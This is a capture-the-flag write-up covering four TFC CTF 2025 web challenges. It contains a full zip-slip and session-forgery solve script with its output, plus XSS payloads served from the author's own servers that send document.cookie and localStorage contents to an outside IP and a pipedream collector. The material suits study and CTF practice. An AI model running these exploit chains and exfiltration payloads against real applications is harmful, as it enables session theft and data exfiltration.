Post

TFC CTF 2025 Write Up

Slippy (Baby)

1
RUN rand_dir="/$(head /dev/urandom | tr -dc a-z0-9 | head -c 8)"; mkdir "$rand_dir" && echo "TFCCTF{Fake_fLag}" > "$rand_dir/flag.txt" && chmod -R +r "$rand_dir"

the flag file is made under the $rand_dir directory but we cannot search the file name in /proc/self/mounts or smth like this

1
2
3
4
5
6
7
8
9
10
11
12
const sessionData = {
    cookie: {
      path: '/',
      httpOnly: true,
      maxAge: 1000 * 60 * 60 * 48 // 1 hour
    },
    userId: 'develop'
};
store.set('<REDACTED>', sessionData, err => {
    if (err) console.error('Failed to create develop session:', err);
    else console.log('Development session created!');
  });

there are two kinds of sessions: guest and develop. we have to take a session id in order to get a develop session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/upload', upload.single('zipfile'), (req, res) => {
    const zipPath = req.file.path;
    const userDir = path.join(__dirname, '../uploads', req.session.userId);
  
    fs.mkdirSync(userDir, { recursive: true });
  
    // Command: unzip temp/file.zip -d target_dir
    execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
      fs.unlinkSync(zipPath); // Clean up temp file
  
      if (err) {
        console.error('Unzip failed:', stderr);
        return res.status(500).send('Unzip error');
      }
  
      res.redirect('/files');
    });
  });
  
  router.get('/debug/files', developmentOnly, (req, res) => {
    const userDir = path.join(__dirname, '../uploads', req.query.session_id);
    fs.readdir(userDir, (err, files) => {
    if (err) return res.status(500).send('Error reading files');
    res.render('files', { files });
  });
});

zip slip and directory listing via path traversal were present in /upload and /debug/files routes. first of all, the name of the folder that stores the flag file is a random string, so we have to find it via directory listing and then read the flag because the folder will be like k19na05m

1
2
3
4
5
6
7
module.exports = function (req, res, next) {
    console.log( req.ip)
    if (req.session.userId === 'develop' && req.ip == '127.0.0.1') {
      return next();
    }
    res.status(403).send('Forbidden: Development access only');
  };

however, the /debug/files route was protected by the developmentOnly() middleware, and req.session.userId and req.ip had to be develop and 127.0.0.1 respectively

1
app.set('trust proxy', true);

anyway, the second condition can be bypassed using the “x-forwarded-for” header since trust proxy was enabled but the first condition couldn’t be bypassed, so we had to get a develop session. ok so how to take it?

1
SESSION_SECRET=<REDACTED>

the challenge root directory contains a .env file storing the SESSION_SECRET so if we can read the file via lfi, we can get the secret value and then generate a develop session id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
router.post('/upload', upload.single('zipfile'), (req, res) => {
    const zipPath = req.file.path;
    const userDir = path.join(__dirname, '../uploads', req.session.userId);
  
    fs.mkdirSync(userDir, { recursive: true });
  
    // Command: unzip temp/file.zip -d target_dir
    execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
      fs.unlinkSync(zipPath); // Clean up temp file
  
      if (err) {
        console.error('Unzip failed:', stderr);
        return res.status(500).send('Unzip error');
      }
  
      res.redirect('/files');
    });
  });

router.get('/files/:filename', (req, res) => {
    const userDir = path.join(__dirname, '../uploads', req.session.userId);
    const requestedPath = path.normalize(req.params.filename);
    const filePath = path.resolve(userDir, requestedPath);
  
    // Prevent path traversal
    if (!filePath.startsWith(path.resolve(userDir))) {
      return res.status(400).send('Invalid file path');
    }
  
    if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) {
      res.download(filePath);
    } else {
      res.status(404).send('File not found');
    }
  });

the /upload route only allows zip files, and since there is no path validation logic during extraction, it is vulnerable to zip slip. by uploading a malicious zip file containing a path traversal payload and then reading it through the /files/:filename route, we can access arbitrary files

once we get the secret key, the next step is straightforward. in express, the session creation logic is simple — if we have the session id and cookie of develop, we can forge a valid session. the develop session id can be found by leaking server.js. with this, we can gain a develop session, enumerate the flag directory name via the /debug/files route, and finally use the zip slip vulnerability again to read the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import os
import requests
import subprocess
import time
import re

url = "https://web-slippy-def54d926d2c8b89.challs.tfcctf.com/"
Session = requests.session()
Session.get(url)

os.system("npm install cookie-signature")
os.system("ln -s ../../../../../../../app/.env solve1.pdf")
os.system("zip --symlinks solve1.zip solve1.pdf")
with open("./solve1.zip", "rb") as f:
    files = {"zipfile": ("solve1.zip", f, "application/zip")}
    Session.post(url + '/upload', files=files)

secret_key = Session.get(url + '/files/solve1.pdf').text.replace("\n", "").split("SESSION_SECRET=")[1]
print(f"secret_key : {secret_key}")

os.system("ln -s ../../../../../../../app/server.js solve2.pdf")
os.system("zip --symlinks solve2.zip solve2.pdf")
with open("./solve2.zip", "rb") as f:
    files = {"zipfile": ("solve2.zip", f, "application/zip")}
    Session.post(url + '/upload', files=files)

session_id = Session.get(url + '/files/solve2.pdf').text.split("store.set('")[1].split("'")[0]
print(f"session_id : {session_id}")

node_code = f"""
const signature = require('cookie-signature');
const secret = "{secret_key}";
const sessionId = "{session_id}";
const signed = 's:' + signature.sign(sessionId, secret);
console.log(signed);
"""

with open("poc.js", "w") as f:
    f.write(node_code)

process = subprocess.Popen(['node', 'poc.js'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()

print(f"develop session : {stdout.decode('utf-8').strip()}")
print(str(stdout.decode('utf-8')).strip())

directory_list = requests.get(url + "/debug/files?session_id=../../../", cookies={"connect.sid":str(stdout.decode('utf-8')).strip()}, headers={"X-Forwarded-For":"127.0.0.1"}).text.split('<ul class="list-group">')[1].split('<a href="/upload" class="button">Upload More</a>')[0]

pattern = re.compile(r"[a-z0-9]{8}")
matches = pattern.findall(directory_list)

os.system(f"ln -s ../../../../../../../{matches[0]}/flag.txt solve3.pdf")
os.system("zip --symlinks solve3.zip solve3.pdf")
with open("./solve3.zip", "rb") as f:
    files = {"zipfile": ("solve3.zip", f, "application/zip")}
    Session.post(url + '/upload', files=files)

flag = Session.get(url + '/files/solve3.pdf').text

print(flag)

'''
❯ python3 poc.py

up to date, audited 2 packages in 382ms

found 0 vulnerabilities
  adding: solve1.pdf (stored 0%)
secret_key : 3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b
  adding: solve2.pdf (stored 0%)
session_id : amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E
develop session : s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE
s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE
  adding: solve3.pdf (stored 0%)
TFCCTF{3at_sl1P_h4Ck_r3p3at_5af9f1}
'''

KISSFIXESS (Grandpa)

1
2
3
4
5
6
7
8
9
10
11
  try:
    driver.set_page_load_timeout(timeout)
    driver.set_script_timeout(5)
    driver.get(URL_BASE)
    driver.add_cookie({
        "name": "flag",
        "value": "TFCCTF{~}",
    })
    
    encoded_name = quote(name)
    driver.get(f"{URL_BASE}/?name_input={encoded_name}")

to get the flag, we have to steal the cookie from the admin bot, yep, this is an xss challenge

when accessing the challenge, you can input a name, and this data is rendered inside the dom. however, if you insert < or > tags, they are converted into entities

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
from urllib.parse import parse_qs
from bot import visit_url
from mako.template import Template
from mako.lookup import TemplateLookup
import os
from urllib.parse import urlparse, parse_qs
from threading import Thread

# (...)

html_template = """
			  # (...)
        % if name_to_display:
            <div class="name-display">
                Your fancy name is:
                <div class="rainbow-text">NAME</div>
            </div>
        % endif

        <p class="instructions">
            Enter a name and see it in glorious pixelated rainbow colors!
        </p>
        <p class="instructions">
            Escaped characters: ${banned}
        </p>
			  // (...)
"""
lookup = TemplateLookup(directories=[os.path.dirname(__file__)], module_directory=MODULE_DIR)

banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]


def escape_html(text):
    """Escapes HTML special characters in the given text."""
    return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("(", "&#40;").replace(")", "&#41;")

def render_page(name_to_display=None):
    """Renders the HTML page with the given name."""
    templ = html_template.replace("NAME", escape_html(name_to_display or ""))
    template = Template(templ, lookup=lookup)
    return template.render(name_to_display=name_to_display, banned="&<>()")

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):

        # Parse the path and extract query parameters
        parsed_url = urlparse(self.path)
        params = parse_qs(parsed_url.query)
        name = params.get("name_input", [""])[0]
        
        for b in banned:
            if b in name:
                name = "Banned characters detected!"
                print(b)

        # Render and return the page
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(render_page(name_to_display=name).encode("utf-8"))

the value passed to name_input is checked against a banned list, and if it contains any of those values, the logic is stopped. otherwise, it is passed to the render_page() function, which generates a mako template page and returns it

inside the render_page() function, the escape_html() function is called, which converts the characters &, <, >, ( and ) into entities (to prevent xss). after that, the input value is substituted into the NAME variable in the html file, and the template is generated. for example, if we input “hii”, the NAME in the html file is replaced with hii

however the characters {, }, and $ that can be used as template variables are not filtered. this means the current functionality is vulnerable to ssti. but looking at the banned list, since _, (, ), ;, |, and . are blocked, rce is not possible

passing ${7*7} as the name prints 49. now we need to trigger xss, but angle brackets are blocked

1
return template.render(name_to_display=name_to_display, banned="&<>()")

the template receives name_to_display and banned. since template variables are usable, we can reference banned[1] (<) and banned[2] (>), and combine them to build an xss payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require('express');
const app = express();
const PORT = 5555;  

app.get('/flag', (req, res) => {
  console.log('[+] flag : ', req.query.x);
  res.send(req.query.x);
});

app.get('/poc', (req, res) => {
  res.set('Content-Type', 'application/javascript; charset=utf-8');
  const js = `fetch("http://112.172.204.197:5555/flag?x="+document.cookie)`
  res.send(js)
});


app.listen(PORT, '0.0.0.0', () => {
  console.log(`http://0.0.0.0:${PORT}/flag`);
});

// poc.js
// ${banned[1]+'SCRIPT SRC=HTTP://1890372805:5555/poc'+banned[2]+banned[1]+'/SCRIPT'+banned[2]}

KISSFIXESS REVENGE (Grandpa)

1
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="]

the difference in the revenge challenge is that more characters are filtered in the banned list, but since we already solved it with a good approach before, only slight modifications are needed to solve it again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const express = require('express');
const app = express();
const PORT = 5555;  

app.get('/x/:flag', (req, res) => {
  console.log('[+] flag : ', req.params.flag);
  res.send(req.params.flag);
});

app.listen(PORT, '0.0.0.0', () => {
  console.log(`http://0.0.0.0:${PORT}/flag`);
});

// poc.js
// ${banned[1]+'SCRIPT'+banned[2]+'fetch'+banned[3]+'`HTTP://1890372805:5555/x/`+document[`cookie`]'+banned[4]+banned[1]+'/SCRIPT'+banned[2]}

DOM NOTIFY (Grandpa)

1
2
3
4
    await page.goto(`${BASE_URL}/note/${id}`);
    await page.evaluate((flag) => {
        localStorage.setItem("flag", flag);
    }, FLAG);

this is another xss challenge, with the flag stored in local storage

notes will be created and rendered as shown

Back-End

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app.post('/note/create', async (req, res) => {
  let { content } = req.body;

  content = sanitizeContent(content)

  const id = uuidv4();

  try {
    await saveNote(id, content);
    res.redirect(id);
  } catch (err) {
    console.error(err);
    res.status(500).send('Error saving note.');
  }
});

// Route: View a note by ID
app.get('/note/:id', async (req, res) => {
  const { id } = req.params;

  try {
    const note = await getNote(id);
    if (note) {
      res.render('note', { id, content: note.content });
    } else {
      res.status(404).render('notfound');
    }
  } catch (err) {
    console.error(err);
    res.status(500).send('Error retrieving note.');
  }
});

the /note/create and /note/:id routes provide note writing and reading functionality. when we write a note, our content is sanitized via the sanitizeContent() function

1
2
3
4
5
6
7
8
9
10
11
12
function sanitizeContent(content) {
    // Sanitize the note with DOMPurify
    content = DOMPurify.sanitize(content, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'div', 'span'],
        ALLOWED_ATTR: ['id', 'class', 'name', 'href', 'title']
    });

    // Make sure that no empty strings are left in the attributes values
    content = content.replace(/""/g, 'invalid-value');

    return content
}

the sanitizeContent() function sanitizes our content using the dompurify library. only the tags b, i, em, strong, a, p, div, and span are allowed, with the attributes id, class, name, href, and title. also, the “” characters are replaced with invalid-value

it looks like xss can’t be triggered just by writing a note so we need to find another gadget

Front-End

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// window.custom_elements.enabled = true;
const endpoint = window.custom_elements.endpoint || '/custom-divs';

async function fetchCustomElements() {
    console.log('Fetching elements');
    
    const response = await fetch(endpoint);
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }

    const customElements = await response.json();
    console.log('Custom Elements fetched:', customElements);

    return customElements;
}

function createElements(elements) {
    console.log('Registering elements');
    console.log(elements)
    for (var element of elements) {
        // Registers a custom element
        customElements.define(element.name, class extends HTMLDivElement {
            static get observedAttributes() { 
                if (element.observedAttribute.includes('-')) {
                    return [element.observedAttribute]; 
                }

                return [];
            }
            
            attributeChangedCallback(name, oldValue, newValue) {
                // Log when attribute is changed
                eval(`console.log('Old value: ${oldValue}', 'New Value: ${newValue}')`)
            }
        }, { extends: 'div' });
    }
}

// When the DOM is loaded
document.addEventListener('DOMContentLoaded', async function () {
    const enabled = window.custom_elements.enabled || false;
    
    // Check if the custom div functionality is enabled
    if (enabled) {
        var customDivs = await fetchCustomElements();
        createElements(customDivs);
    }
});

this is main.js, which is loaded in the frontend, this code looks like it takes a custom tag. actually, it’s my first time seeing customElements, so i decided to research about it

research showed this is part of web components, letting us register/manage custom html elements, and attributeChangedCallback() runs when an element’s attribute changes

1
2
window.custom_elements.endpoint 
window.custom_elements.enabled

to use this, the enabled attribute must exist and true, and the endpoint is requested to fetch custom element info. and the browser maps elements with id/name to window properties, so by crafting a tag with id=”custom_elements” we can overwrite window.custom_elements and trigger dom clobbering

1
2
3
<a id="custom_elements" name="endpoint" href="hello"></a>
<a id="custom_elements" name="enabled" href="true"></a>
<a id="custom_elements"></a>

i could overwrite it with this payload, and we can see that the enabled and endpoint properties can be queried via the window object

with enabled and endpoint overwritten, the feature activates and fetch() requests https://google.com for custom element data

1
2
3
4
5
6
7
8
9
app.get('/custom-divs', (req, res) => {
    const customElements = [
      { name: 'fancy-div', observedAttribute: 'color' },
      { name: 'invalid-value', observedAttribute: 'font' },
      { name: 'title-div', observedAttribute: 'title' }
    ];

    res.json(customElements);
  });

/custom-divs returns custom element data in json with name and observedAttribute. because the endpoint is controllable, i hosted my own server to serve arbitrary customElements data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const express = require('express');
const app = express();
const PORT = 5555;  

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*'); 
  res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }
  next();
});

app.get('/', (req, res) => {
  console.log("dom clobbering")
  res.send(1);
});

app.get('/custom-divs', (req, res) => {
    const customElements = [
      { name: 'invalid-value', observedAttribute: 'data-b' }
    ];

    res.json(customElements);
  });

app.listen(PORT, '0.0.0.0', () => {
  console.log(`http://0.0.0.0:${PORT}`);
});
// app.js
// node app.js

app.js is as shown above

after trying the flow again through clobbering, everything seemed to work internally, but the attributeChangedCallback() function was not triggered, at first i wasn’t sure what triggered attributeChangedCallback(), so i tried a few simple tests

2025.08.30 : 23:32, first test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<body>
    <div is="fancy-div" title-asdf="123"></div> 
    <script>
        customElements.define("fancy-div", class extends HTMLDivElement {
            static get observedAttributes() { 
                if ("title-asdf".includes('-')) {
                    return ["title-asdf"]; 
                }
                return [];
            }
            
            attributeChangedCallback(name, oldValue, newValue) {
                // Log when attribute is changed
                console.log(1)
                //eval(`console.log('Old value: ${oldValue}', 'New Value: ${newValue}')`)
            }
        }, { extends: 'div' });
    </script>
</body>

at this point, i realized that the attributeChangedCallback() function is called when the custom element name (e.g. fancy-div) is set either as the is attribute or used directly like <fancy-div> and the observedAttributes() function must return the attribute name that is defined in the tag

i tested <div is=”fancy-div” title-asdf=”123”></div> in notes. dompurify didn’t sanitize is, but did sanitize title-asdf, so i thought i needed another approach

2025.08.30 : 23:50 , second test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<body>
    <div is="invalid-value" title="invalid-value" ></div>
    <script>
        customElements.define("invalid-value", class extends HTMLDivElement {
            static get observedAttributes() { 
                if (["title", "-"].includes('-')) {
                    return ["title", "-"]; 
                }

                return [];
            }
            
            attributeChangedCallback(name, oldValue, newValue) {
                // Log when attribute is changed
                console.log(1)
                console.log(oldValue)
                console.log(newValue)
                //eval(`console.log('Old value: ${oldValue}', 'New Value: ${newValue}')`)
            }
        }, { extends: 'div' });
    </script>
</body>

so i thought the only usable attributes besides is were [id, class, name, href, title]. therefore, one of these attributes had to be set and returned by the observedAttributes() function. however, inside observedAttributes(), the code checks with the includes() method to see if the attribute contains a hyphen (-). this means that only custom attributes like title-asdf are allowed

however, i realized that if we pass an array with the first value as the title attribute and the second value as just a hyphen (-), we could bypass the restriction without using a custom attribute. when i opened the code in the browser, the attributeChangedCallback() function was indeed executed and printed to the console

1
2
3
4
5
6
7
            static get observedAttributes() { 
                if (element.observedAttribute.includes('-')) {
                    return [element.observedAttribute];  // <- here
                }

                return [];
            }

the challenge code wraps observedAttribute in [], so supplying [“title”,”-“] results in a nested array. this bypasses includes() but breaks attribute lookup haha

1
2
export const DATA_ATTR = seal(/^data-[\-\w.\u00B7-\uFFFF]/); // eslint-disable-line no-useless-escape
export const ARIA_ATTR = seal(/^aria-[\-\w]+$/); // eslint-disable-line no-useless-escape

so in the end, we must insert a custom attribute that contains a hyphen (-). after having a dinner, i remembered some code i had seen before: by default, DomPurify allows ALLOW_ARIA_ATTR and ALLOW_DATA_ATTR. according to the regex, attributes like data-asdf or aria-asdf can be used

1
2
3
4
<a id="custom_elements" name="endpoint" href="https://gist.githubusercontent.com/P0cas/741cec0c8ca4b8b87ca5ce9ba1feba7a/raw/4a46fbab066a9d427866de3ea603812d5e49c18b/poc.json"></a>
<a id="custom_elements" name="enabled" href="true"></a>
<a id="custom_elements"></a>
<div is="invalid-b" data-b="')-fetch('https://d52a19114bc3652b3b375e4df07e0cde.m.pipedream.net/?flag='+localStorage.flag)//"></div>
1
2
3
[
      { "name": "invalid-value", "observedAttribute": "data-b" }
]

with the final payload i got the flag (fetching the json from gist)

This post is licensed under CC BY 4.0 by the author.

Trending Tags